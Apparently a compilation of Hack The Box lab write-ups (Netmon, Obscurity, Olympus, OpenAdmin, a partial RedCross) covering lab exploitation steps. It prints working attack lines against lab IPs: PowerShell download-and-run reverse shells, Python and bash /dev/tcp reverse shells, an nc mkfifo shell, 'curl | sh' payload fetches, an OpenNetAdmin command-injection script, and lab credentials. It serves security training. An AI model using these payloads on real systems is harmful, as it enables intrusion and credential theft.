var EncryptedString = "yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=";
var pt = Decrypt(EncryptedString, "667912", "1313Rf99", 3,
"1L1SA61493DRV53Z", 256);
Console.WriteLine("Plaintext: " + pt);
}

public static String Decrypt(String cipherText, String passPhrase, String


saltValue, int passwordIterations, String initVector,int keySize) {
var initVectorBytes = Encoding.ASCII.GetBytes(initVector);
var saltValueBytes = Encoding.ASCII.GetBytes(saltValue);
var cipherTextBytes = Convert.FromBase64String(cipherText);
var password = new Rfc2898DeriveBytes(passPhrase, saltValueBytes,
passwordIterations);
var keyBytes = password.GetBytes(keySize / 8);
var symmetricKey = new AesCryptoServiceProvider();
symmetricKey.Mode = CipherMode.CBC;
var decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes);
var memoryStream = new MemoryStream(cipherTextBytes);
var cryptoStream = new CryptoStream(memoryStream, decryptor,
CryptoStreamMode.Read);
var plainTextBytes = new byte[cipherTextBytes.Length];
var decryptedByteCount = cryptoStream.Read(plainTextBytes, 0,
plainTextBytes.Length);
memoryStream.Close();
cryptoStream.Close();
var plainText = Encoding.ASCII.GetString(plainTextBytes, 0,
decryptedByteCount);
return plainText;
}
}
}
The Main() method is updated by copying the parameters from the decompiled assembly as
well as the encrypted password from Ldap.conf .

Compiling and executing the binary reveals that the administrator password is
XtH4nkS4Pl4y1nGX . This can be used to psexec to the box and get SYSTEM.
Netmon
18​th​ May 2019 / Document No D19.100.28
Prepared By: MinatoTW
Machine Author: mrb3n
Difficulty: ​Easy
Classification: Official

Page 1 / 11
SYNOPSIS
Netmon is an easy difficulty Windows box with simple enumeration and exploitation. PRTG is
running, and an FTP server with anonymous access allows reading of PRTG Network Monitor
configuration files. The version of PRTG is vulnerable to RCE which can be exploited to gain a
SYSTEM shell.

Skills Required Skills Learned

● Enumeration ● CVE-2018-9276

Page 2 / 11
ENUMERATION

NMAP
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.152 | grep ^[0-9] | cut -d
'/'​ -f 1 | tr ​'\n'​ ​','​ | sed s/,$//)
nmap -sC -sV -p​$ports​ 10.10.10.152

FTP is open with anonymous access allowed. The whole C: drive looks mounted on it. PRTG
Network Monitor is running on the web server at port 80 among other common ports.

Page 3 / 11
FTP
Logging into FTP as anonymous we find the user flag in Public folder.

On checking the installed software we find PRTG Network Monitor, which we came across earlier.

A quick google search yields ​this​ information. According to it PRTG stores configuration files in
C:\ProgramData\Paessler.

Page 4 / 11
Going into the folder we find the configuration files. According to the documentation "PRTG
Configuration.dat" and "PRTG Configuration.old" are standard files. However there’s no mention
of "PRTG Configuration.dat.bak".

Let’s download and inspect it.

get ​"PRTG Configuration.old.bak"

Page 5 / 11
Scrolling down a bit we find the password for user prtgadmin.

PRTG NETWORK MONITOR


Using the credentials prtgadmin / PrTg@dmin2018 we can now login to the page.

However the credentials refuse to work. Maybe the password was changed from the old
configuration. Let’s follow the pattern and try "PrTg@dmin2019" as the password.

Page 6 / 11
And we’re in as the Administrator.

Page 7 / 11
FOOTHOLD

From the page we find the version to be 18.1.37.

A Google search about the vulnerabilities yields a CVE for versions < 18.1.39 (CVE-2018-9276).

According to this ​article​, RCE can be achieved while triggering notifications. Let’s try exploiting it.
The software by default runs as SYSTEM.

Click on Setup > Account Settings > Notifications.

Now click on “Add new notification” on the extreme right.

Page 8 / 11
Leave the default fields as they are and scroll down to the "Execute Program" section. We can
add a user to Administrators group using this command:

abc.txt | net user htb abc123! /add ; net localgroup administrators htb
/add

Make the following changes and click “Save”.

Now on the extreme right of your notification name, click on the edit icon and then the bell icon
to trigger it.

Page 9 / 11
Once done, use psexec to login as the created admin user.

psexec.py htb:​'abc123!'​@10.10.10.152

And we have a shell as SYSTEM.

ALTERNATE WAY

In case we don’t want to add a user, for better OPSEC we can get a reverse shell. However due
to HTML encoding many characters get encoded. We can bypass this using powershell base64
execution.

We need to create a base64 encoded command. However, it should be in the encoding which
WIndows uses i.e UTF-16LE.

echo​ -n ​"IEX(new-object
net.webclient).downloadstring('http://10.10.16.32/Invoke-PowerShellTcp.ps1'
)"​ | iconv -t UTF-16LE | base64 -w0

We use iconv to convert it to target encoding and will execute this ​reverse shell​ from Nishang.

Download the script and echo in the command to the last line.

echo​ ​'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.32 -Port 4444'​ >>


Invoke-PowerShellTcp.ps1

Page 10 / 11
Now start a simple HTTP server and create a new notification. This time the parameter would be,

abc.txt | powershell -enc


SQBFAFgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA
pAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuAD
EAMAAuADEANgAuADMAMgAvAEkAbgB2AG8AawBlAC0AUABvAHcAZQByAFMAaABlAGwAbABUAGMAc
AAuAHAAcwAxACcAKQA=

python3 -m http.server 80

And trigger it.

And we have a SYSTEM shell.

Page 11 / 11
Obscurity
4th May 2020 / Document No D20.100.72

Prepared By: egre55

Machine Author(s): clubby789

Difficulty: Medium

Classification: Official
Synopsis
Obscurity is medium difficulty Linux machine that features a custom web server. A code injection
vulnerability is exploited to gain an initial foothold as www-data . Weak folder permissions reveal a
custom cryptography algorithm, that has been used to encrypt the user's password. A known-
plaintext attack reveals the encryption key, which is used to decrypt the password. This password
is used to move laterally to the user robert , who is allowed to run a faux terminal as root. This
can be used to escalate privileges to root via winning a race condition or by overwriting sudo
arguments.

Skills Required
Basic Linux Enumeration

Skills Learned
Source Code Review
Known-Plaintext Attack
Enumeration
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.168 | grep ^[0-9] | cut -d '/' -f
1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.168

Nmap shows that SSH is available on its default port, as well as a web server called
BadHTTPServer on port 8080, serving a page titled Obscura . Inspection of this page in a browser
reveals a site for a security focused software company. Their suite of products include the
BadHTTPServer web server, an encryption algorithm and an SSH replacement.

A message on the website discloses the file name of the web server, and that it's in a secret
development directory.
The custom web server is definitely of interest. Let's use ffuf to fuzz for possible directories.

wget -L
github.com/ffuf/ffuf/releases/download/v1.0.2/ffuf_1.0.2_linux_amd64.tar.gz
mkdir ffuf
tar -xzf ffuf_1.0.2_linux_amd64.tar.gz -C ffuf

./ffuf -w /usr/share/dirb/wordlists/common.txt -u
http://10.10.10.168:8080/FUZZ/SuperSecureServer.py -mc 200

After downloading and extracting, ffuf is run with the dirb common.txt wordlist. As we're
including the filename and expect to get a HTTP 200 response, we can filter for using the -mc
flag.

ffuf finds the directory develop . Let's download SuperSecureServer.py (also included in
Appendix A) and examine it locally.

wget http://10.10.10.168:8080/develop/SuperSecureServer.py
Foothold
The serveDoc function contains some comments. It seems the developer has unwittingly
introduced an injection vulnerability, as the user controlled URL is passed to exec .

def serveDoc(self, path, docRoot):


path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting,
right?

Let's stand up the server locally and validate the vulnerability. First, let's create the file structure
expected by the web server.

mkdir -p DocRoot/errors
touch DocRoot/errors/404.html
echo test > DocRoot/index.html

Next, we need to edit the file to output the requested URL, and to configure a socket to listen on.

# add above exec(info.format(path))


print(info.format(path))

#append to SuperSecureServer.py
s = Server ("127.0.0.1", 8080)
s.listen ()

#start server
python3 SuperSecureServer.py

After starting the web server, we can experiment with different requests.

request: http://127.0.0.1:8080/
output: output = 'Document: /'

Also also seen in the code, the URL is contained with two single-quotes. As the os library is
already imported, so we can attempt to execute a system command.

request: http://127.0.0.1:8080/';os.system('id');

output:

output = 'Document: /';os.system('id');'


EOL while scanning string literal (<string>, line 1)

However, if the single-quotes are unbalanced, this will result in an error. This is corrected and we
successfully validated the injection vulnerability, and achieved command execution.
request: http://127.0.0.1:8080/';os.system('id');'

output:

output = 'Document: /';os.system('id');''


uid=0(root) gid=0(root) groups=0(root)

Let's attempt to replicate this on the actual system. As we don't have access to the console, we
can attempt to send ourselves two ICMP requests.

tcpdump -i tun0 icmp


http://10.10.10.168:8080/';os.system('ping -c 2 10.10.14.3');'

We have successfully achieved command execution of the server. We can attempt to exfiltrate
basic output from the server over HTTP, by examining the requested URL in our web server logs.

#stand up web server locally


python3 -m http.server 80

request:
http://10.10.10.168:8080/';os.system('curl%20http://10.10.14.3/$(hostname)');'

Let's get a shell on the server using a Python one-liner.

http://10.10.10.168:8080/';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.
connect(("10.10.14.3",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Next, let's upgrade to a TTY shell.

SHELL=/bin/bash script -q /dev/null

There are many command-line scripts that we can use to do some heavy lifting of the initial
enumeration, such as linPEAS.

wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-
scripts-suite/master/linPEAS/linpeas.sh

curl http://10.10.14.3/linpeas.sh|bash

After running this, we see that the system user robert has a world-readable home directory
containing some interesting files.
Lateral Movement
The file SuperSecureCrypt.py (also included in Appendix B) contains functions to encrypt and
decrypt files. The key is used repeatedly until it matches the length of the plaintext, after which it
adds the
values together and outputs the result.

def encrypt(text, key):


keylen = len(key)
keyPos = 0
encrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr + ord(keyChr)) % 255)
encrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return encrypted

def decrypt(text, key):


keylen = len(key)
keyPos = 0
decrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr - ord(keyChr)) % 255)
decrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return decrypted

check.txt seems to be a test input file (plaintext) for the program, with out.txt being the
produced ciphertext. The developer seems to have used this program to encrypt their password,
stored as passwordreminder.txt .

Although we don't know the key that was used to create the ciphertext, we should be able to
derive it through a known plaintext attack, as we have both the plaintext ( check.txt ) and
corresponding ciphertext ( out.txt ).

Base64 encode the files on the remote system, and then recreate the files locally.

#encode
base64 -w0 out.txt
base64 -w0 check.txt

#decode and redirect to file


echo '<base64 output>' | base64 -d -w0 > check.txt
echo '<base64 output>' | base64 -d -w0 > out.txt

We can subtract the plaintext from the ciphertext in order to reveal the key.
#python3 known_plaintext.py

def getkey(cipher, plain):

position = 0
key = ""
for item in list(plain):
cipherchar = cipher[position]
plainchar = ord(item)
key += chr((ord(cipherchar) - plainchar))
position +=1
print(key)

with open('out.txt') as f:
cipher = f.read()
with open('check.txt') as f:
plain = f.read()

getkey(cipher, plain)

This is successful, and the key alexandrovich is revealed. With the key in hand, let's download
passwordreminder.txt and decrypt it.

base64 -w0 passwordreminder.txt


echo 'wrTDkcOIw4zDicOgw5nDgcORw6nCr8K3wr9r' | base64 -d -w0 >
passwordreminder.txt

Running the script below reveals the password SecThruObsFTW , which we can use to su to
robert and gain the user flag.

#python3 decrypt.py

def getpass(cipher, key):


keylen = len(key)
keyPos = 0
decrypted = ""
for x in cipher:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr - ord(keyChr)) % 255)
decrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
print(decrypted)

with open('passwordreminder.txt') as f:
cipher = f.read()
getpass(cipher, "alexandrovich")
Privilege Escalation
Checking for sudo entries reveals that robert is able to run the file
/home/robert/BetterSSH/BetterSSH.py (also included as Appendix C) as root.

Method 1
As seen in the code, when authenticating a user the script temporarily stores /etc/shadow
entries to a random filename under /tmp/SSH . It sleeps for one second before deleting it.

<SNIP>
with open('/etc/shadow', 'r') as f:
data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
passwords = []
for x in data:
if not x == None:
passwords.append(x)

passwordFile = '\n'.join(['\n'.join(p) for p in passwords])


with open('/tmp/SSH/'+path, 'w') as f:
f.write(passwordFile)
time.sleep(.1)
<SNIP>

On running the file, it's found that /tmp/SSH doesn't exist, so we can create it.
First, start two separate SSH sessions as robert . Next, navigate to the SSH directory in one, and
start a loop to copy anything created in this directory to /tmp .

cd /tmp/SSH
while true; do sleep .1; cp -r . /tmp; done

After executing BetterSSH.py in the other SSH session and authenticating successfully as
robert , we find the random file has been copied to /tmp , containing the /etc/passwd hashes
as expected.

We can use john to crack the hash, which reveals the password mercedes .

This can be used to su to root and gain the root flag.

Method 2
Inspection of the code reveals that for every command executed, sudo -u as appended to it.

if session['authenticated'] == 1:
while True:
command = input(session['user'] + "@Obscure$ ")
cmd = ['sudo', '-u', session['user']]

By specifying additional -u <user> options, we should be able to overwrite this initial


assignment. Indeed, replicating locally we confirm that this is the case.
Within the session, we can input -u root id and confirm command execution as root.

Let's create a reverse shell.

echo 'bash -i >/dev/tcp/10.10.14.3/8080 0<&1 2>&1' > /tmp/shell.sh

After executing this script in the BetterSSH.py session, we get a reverse shell as root.
Appendix
Appendix A

import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}


Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
"""
DOC_ROOT = "DocRoot"

CODES = {"200": "OK",


"304": "NOT MODIFIED",
"400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404":
"NOT FOUND",
"500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png":


"image/png", "jpg":"image/jpg",
"ttf":"application/octet-stream","otf":"application/octet-stream",
"woff":"font/woff", "woff2": "font/woff2",
"js":"application/javascript","gz":"application/zip", "py":"text/plain",
"map": "application/octet-stream"}

class Response:
def __init__(self, **kwargs):
self.__dict__.update(kwargs)
now = datetime.now()
self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
def stringResponse(self):
return respTemplate.format(**self.__dict__)

class Request:
def __init__(self, request):
self.good = True
try:
request = self.parseRequest(request)
self.method = request["method"]
self.doc = request["doc"]
self.vers = request["vers"]
self.header = request["header"]
self.body = request["body"]
except:
self.good = False

def parseRequest(self, request):


req = request.strip("\r").split("\n")
method,doc,vers = req[0].split(" ")
header = req[1:-3]
body = req[-1]
headerDict = {}
for param in header:
pos = param.find(": ")
key, val = param[:pos], param[pos+2:]
headerDict.update({key: val})
return {"method": method, "doc": doc, "vers": vers, "header":
headerDict, "body": body}

class Server:
def __init__(self, host, port):
self.host = host
self.port = port
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.host, self.port))

def listen(self):
self.sock.listen(5)
while True:
client, address = self.sock.accept()
client.settimeout(60)
threading.Thread(target = self.listenToClient,args =
(client,address)).start()

def listenToClient(self, client, address):


size = 1024
while True:
try:
data = client.recv(size)
if data:
# Set the response to echo back the recieved data
req = Request(data.decode())
self.handleRequest(req, client, address)
client.shutdown()
client.close()
else:
raise error('Client disconnected')
except:
client.close()
return False

def handleRequest(self, request, conn, address):


if request.good:
# try:
# print(str(request.method) + " " + str(request.doc), end=' ')
# print("from {0}".format(address[0]))
# except Exception as e:
# print(e)
document = self.serveDoc(request.doc, DOC_ROOT)
statusNum=document["status"]
else:
document = self.serveDoc("/errors/400.html", DOC_ROOT)
statusNum="400"
body = document["body"]

statusCode=CODES[statusNum]
dateSent = ""
server = "BadHTTPServer"
modified = ""
length = len(body)
contentType = document["mime"] # Try and identify MIME type from string
connectionType = "Closed"

resp = Response(
statusNum=statusNum, statusCode=statusCode,
dateSent = dateSent, server = server,
modified = modified, length = length,
contentType = contentType, connectionType = connectionType,
body = body
)

data = resp.stringResponse()
if not data:
return -1
conn.send(data.encode())
return 0

def serveDoc(self, path, docRoot):


path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting,
right?
cwd = os.path.dirname(os.path.realpath(__file__))
docRoot = os.path.join(cwd, docRoot)
if path == "/":
path = "/index.html"
requested = os.path.join(docRoot, path[1:])
if os.path.isfile(requested):
mime = mimetypes.guess_type(requested)
mime = (mime if mime[0] != None else "text/html")
mime = MIMES[requested.split(".")[-1]]
try:
with open(requested, "r") as f:
data = f.read()
except:
with open(requested, "rb") as f:
data = f.read()
status = "200"
else:
errorPage = os.path.join(docRoot, "errors", "404.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read().format(path)
status = "404"
except Exception as e:
print(e)
errorPage = os.path.join(docRoot, "errors", "500.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read()
status = "500"
return {"body": data, "mime": mime, "status": status}

SuperSecureServer.py

Appendix B

import sys
import argparse

def encrypt(text, key):


keylen = len(key)
keyPos = 0
encrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr + ord(keyChr)) % 255)
encrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return encrypted

def decrypt(text, key):


keylen = len(key)
keyPos = 0
decrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr - ord(keyChr)) % 255)
decrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return decrypted

parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption


algorithm')

parser.add_argument('-i',
metavar='InFile',
type=str,
help='The file to read',
required=False)

parser.add_argument('-o',
metavar='OutFile',
type=str,
help='Where to output the encrypted/decrypted file',
required=False)

parser.add_argument('-k',
metavar='Key',
type=str,
help='Key to use',
required=False)

parser.add_argument('-d', action='store_true', help='Decrypt mode')

args = parser.parse_args()

banner = "################################\n"
banner+= "# BEGINNING #\n"
banner+= "# SUPER SECURE ENCRYPTOR #\n"
banner+= "################################\n"
banner += " ############################\n"
banner += " # FILE MODE #\n"
banner += " ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
print("Missing args")
else:
if args.d:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()

print("Decrypting...")
decrypted = decrypt(data, args.k)

print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(decrypted)
else:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()

print("Encrypting...")
encrypted = encrypt(data, args.k)

print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(encrypted)

SuperSecureCrypt.py

Appendix C

import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess

path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))


session = {"user": "", "authenticated": 0}
try:
session['user'] = input("Enter username: ")
passW = input("Enter password: ")

with open('/etc/shadow', 'r') as f:


data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
passwords = []
for x in data:
if not x == None:
passwords.append(x)

passwordFile = '\n'.join(['\n'.join(p) for p in passwords])


with open('/tmp/SSH/'+path, 'w') as f:
f.write(passwordFile)
time.sleep(.1)
salt = ""
realPass = ""
for p in passwords:
if p[0] == session['user']:
salt, realPass = p[1].split('$')[2:]
break

if salt == "":
print("Invalid user")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
salt = '$6$'+salt+'$'
realPass = salt + realPass

hash = crypt.crypt(passW, salt)

if hash == realPass:
print("Authed!")
session['authenticated'] = 1
else:
print("Incorrect pass")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
traceback.print_exc()
sys.exit(0)

if session['authenticated'] == 1:
while True:
command = input(session['user'] + "@Obscure$ ")
cmd = ['sudo', '-u', session['user']]
cmd.extend(command.split(" "))
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
o,e = proc.communicate()
print('Output: ' + o.decode('ascii'))
print('Error: ' + e.decode('ascii')) if len(e.decode('ascii')) > 0 else
print('')

BetterSSH.py
Olympus
22​nd​ September 2018 / Document No D18.100.18
Prepared By: Alexander Reid (Arrexel)
Machine Author: OscarAkaElvis
Difficulty: ​Medium
Classification: Official

Page 1 / 7
SYNOPSIS
Olympia is not overly difficult, however there are many steps involved in getting access to the
main system. There is a heavy focus on the use of Docker, with a variety of topics and techniques
along the way.

Skills Required Skills Learned

● Intermediate knowledge of Linux ● Exploiting Xdebug


● Basic understanding of Docker ● Identifying Docker instances
● Cracking WPA handshakes
● Gathering information through zone
transfers
● Abusing Docker permissions

Page 2 / 7
Enumeration

Nmap

Nmap finds several open ports. As port 22 is filtered, and there is a secondary SSH service, there
is potentially a container system such as docker running on the target.

Page 3 / 7
Exploitation

Xdebug

Exploit: ​https://github.com/vulhub/vulhub/tree/master/php/xdebug-rce

Looking at the HTTP headers reveals Xdebug 2.5.5 is running on the target, which has a remote
code execution vulnerability. Using the above exploit, an initial shell is achieved.

The presence of the file ​/.dockerenv​ suggests that the shell is inside a Docker container. A bit of
searching around the filesystem reveals a ​captured.cap​ file in the airgeddon installation at
/home/zeus​, which can be transferred by running ​nc -lp 1235 > captured.cap​ on the attacking
machine and ​nc -w 3 LAB_IP 1235 < captured.cap​ on the target.

Page 4 / 7
Aircrack-ng

Running ​aircrack-ng captured.cap​ reveals an ESSID of ​Too_cl0se_to_th3_Sun​. Attempting to


crack the WPA password outputs ​flightoficarus​.

A bit of guesswork is involved in the next step. Using the credentials


icarus:Too_cl0se_to_th3_Sun​ it is possible to connect via SSH to the service on port 2222.
Checking the root directory reveals it is another Docker container.

Page 5 / 7
Zone Transfer & Port Knocking

Checking the file ​help_of_the_gods.txt​ on the new container finds a ​ctfolympus.htb​ domain.
Attempting a zone transfer with ​dig axfr @10.10.10.83 ctfolympus.htb​ outputs several integers
and what appears to be a username (prometheus) and password (St34l_th3_F1re!).

Port knocking 3456, 8234 and 62431 will open the SSH service on port 22 for 10 seconds,
allowing for access as the ​prometheus​ user.

Page 6 / 7
Privilege Escalation

Docker Privileges

Running ​id ​reveals that the ​prometheus​ user is part of the d


​ ocker​ group. As Docker requires root
permissions, it is possible to leverage this to mount the filesystem in a container and execute
commands as root.

Running ​docker images --all​ lists available images on the system. Using the ​olympia​ image, root
access is achieved.

Page 7 / 7
OpenAdmin
16th April 2020 / Document No D20.100.69

Prepared By: MrR3boot

Machine Author(s): dmw0ng

Difficulty: Easy

Classification: Official
Synopsis
OpenAdmin is an easy difficulty Linux machine that features an outdated OpenNetAdmin CMS
instance. The CMS is exploited to gain a foothold, and subsequent enumeration reveals database
credentials. These credentials are reused to move laterally to a low privileged user. This user is
found to have access to a restricted internal application. Examination of this application reveals
credentials that are used to move laterally to a second user. A sudo misconfiguration is then
exploited to gain a root shell.

Skills Required
Enumeration
Port Forwarding
Code Review

Skills Learned
Web Exploitation
Password Cracking
Nano Sudo Exploitation
Enumeration
Nmap

nmap -p- -Pn --min-rate=10000 -sV -sC 10.10.10.171

The Nmap scan reveals SSH and Apache to be running on their usual ports.

Apache
Browsing to port 80, the default Apache page is seen.

FFUF
Let's enumerate files and folders on the server using ffuf.

ffuf -u http://10.10.10.171/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc


200,204,301,302,307,401 -o results.txt
We discovered a few folders named music, artwork and sierra . The python script below can
be used to scrape the navigation links from the pages present in results.txt .

#!/usr/bin/python
import sys
import json
import requests
import argparse
from bs4 import BeautifulSoup

def results(file):
content=open(file,'r').readlines()
for line in content:
data=json.loads(line.strip())
urls=[]
for url in data['results']:
urls.append(url['url'])
return urls

def crawl(url):
r = requests.get(url)
soup = BeautifulSoup(r.text,'lxml')
links = soup.findAll('a',href=True)
for link in links:
link=link['href']
if link and link!='#':
print '[+] {} : {}'.format(url,link)

if __name__=="__main__":
parser = argparse.ArgumentParser()
parser.add_argument("file",help="ffuf results")
args = parser.parse_args()
urls=results(args.file)
for url in urls:
crawl(url)
The script retrieves the files and folders from the provided list, and uses the BeautilfulSoup
library to look for and extract the href attribute in anchor tags, which are then printed out.

python crawl.py results.txt

Running it yields the results below.

Apart from the .html files, a path ../ona is found.

Dirbuster
Alternately, running dirbuster returns the ona page as well.
Foothold
Browsing to the /ona directory shows that this is an older version of the application.

The download hyperlink contains a reference to the OpenNetAdmin website. Searching exploit-
db for exploits related to OpenNetAdmin v18.1.1 reveals a Remote Code Execution vulnerability.

Remote Command Execution


OpenNetAdmin suffers from a command injection vulnerability through the xajaxargs[]
parameter. This vulnerability can be exploited using the referenced script.

#!/bin/bash

URL="${1}"
while true;do
echo -n "$ "; read cmd
curl --silent -d
"xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D
%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e
'/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done

The exploitation is successful and we have gained a foothold.

Alternate foothold via LFI


This OpenNetAdmin version also suffers from a Local File Inclusion (LFI) vulnerability. This flaw
allows an attacker to traverse outside of the restricted path and include arbitrary files on the
server, resulting in command execution.

Sending the request below creates a new module named test , containing a PHP web shell.

This module can be included from the /ona/dcm.php?modules=test page.

We can now execute system commands through the 1 GET parameter.

curl 'http://10.10.10.171/ona/dcm.php?module=test&1=ping+-c+1+10.10.14.3' >


/dev/null

Save the reverse shell payload below to index.html inside /var/www/html folder, and ensure
the Apache server is running locally.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 1234 >/tmp/f

The shell can be executed on the server by using the payload below, which pipes cURL output to
/bin/sh .
curl 10.10.14.2 | /bin/sh
Lateral Movement
We can spawn a PTY to get a fully functioning shell.

/usr/bin/python3 -c 'import pty;pty.spawn("/bin/bash")'

Checking entries in /etc/passwd shows that there are two system users.

We can further enumerate the box using scripts such as LinEnum.sh or linPEAS.sh. Download the
script and copy it the Apache web root. Next, use curl to transfer and execute the script.

curl 10.10.14.2/linpeas.sh|bash

This runs but doesn't provide any interesting information. Manually enumerating the web root
reveals a folder named internal , that can only be accessed by jimmy .
The OpenNetAdmin forum post shows that the database configuration details are stored in the
file ona/local/config/database_settings.inc.php .

Database credentials are found, and reusing this password for jimmy gives us SSH access.

We can now access the /var/www/internal directory as jimmy .

Looking at the /etc/apache2/sites-enabled/internal.conf configuration file reveals that the


internal virtual host is running as joanna on localhost port 52846 .
Inspection of index.php shows a login page, hard-coded with a hashed password.

We can see that this was hashed using the SHA512 algorithm, which can be cracked using John
the Ripper.

Alternately, the CrackStation website can also be used to crack the hash.
The application can be accessed remotely through SSH port forwarding.

The command above creates a remote SSH tunnel, which forwards all connections from port
1337 on our host to port 52946 on the box. Make sure that the SSH server is running and
permits root login. The application can now be accessed by browsing to
http://127.0.0.1:1337 .

Let's login to the application using the credentials jimmy / Revealed .


The main.php page displays an encrypted SSH key.

Alternate Method
Inspecting the main.php source code reveals that it continues to read the SSH key, instead of
terminating the connection.

This means that we can access the page unauthenticated, and the server should return the key
before redirection.
A hash is generated using ssh2john.py .

/usr/share/john/ssh2john.py key > hash

The password is revealed as bloodninjas , which can be used to login as joanna .


Alternate method #2
Code execution as joanna can also be achieved by writing a PHP shell to the
/var/www/internal folder.
Privilege Escalation
Running LinPEAS again shows that joanna is allowed to run nano as root.

This can be used to gain root access on the server.

sudo -u root /bin/nano /opt/priv

Nano allows inserting external files into the current one using the shortcut Ctrl + R .

The command reveals that we can execute system commands using ^X . Press Ctrl + X and
enter the following command to spawn a shell.

reset; sh 1>&0 2>&0


RedCross
11​th​ April 2019 / Document No D19.100.13
Prepared By: egre55
Machine Author: ompamo
Difficulty: ​Medium
Classification: Official

Page 1 / 16
SYNOPSIS
RedCross is a medium difficulty box that features XSS, OS commanding, SQL injection, remote
exploitation of a vulnerable application, and privilege escalation via PAM/NSS.

Skills Required Skills Learned

● Intermediate Linux knowledge ● Authentication bypass technique via


● Basic knowledge of Web enumeration PHP Session ID reuse
tools ● Identification and exploitation of a
● Knowledge of common web vulnerable application
vulnerabilities ● Privilege escalation via PAM/NSS

Page 2 / 16
Enumeration

Nmap

nmap -Pn -sS -p​-​ 10.10.10.113

Nmap output shows SSH and a web server. The IP redirects to ​https://intra.redcross.htb​, and
whatweb shows this is Apache 2.4.25.

Page 3 / 16
intra.redcross.htb

After adding ​intra.redcross.htb​ to "/etc/hosts", the RedCross Messaging Intranet page is


accessible.

The contact form:

The certificate is examined, which reveals the email address "[email protected]".

Page 4 / 16
Dirbuster

Dirbuster (with the small, lowercase list) finds additional directories:

Searching for common document extensions under "/documentation" reveals the file
"account-signup.pdf".

This shows the procedure for requesting credentials to access the intranet.

Page 5 / 16
Authenticated access

The request for credentials is sent:

Temporary "guest" privileges have been given while the request is being processed.

There doesn’t seem to be much functionality available after logging in as guest:

Page 6 / 16
admin.redcross.htb

It is worth checking for subdomains, and common names such as "internal" and "admin" are also
added to "/etc/hosts". admin.redcross.htb is a valid subdomain, and hosts a login form.

Brute forcing isn’t successful, but after replacing the existing PHP Session ID with the one from
intra.redcross.htb using a cookie manager and refreshing the page, access is gained to the IT
Admin panel.

Page 7 / 16
SSH

"User Management" allows a user to be created on RedCross, and "Network Access" makes SSH
available externally to the specified IP address.

The credentials for the created user are provided, but the session lands in a very restrictive jail.

Page 8 / 16
XSS

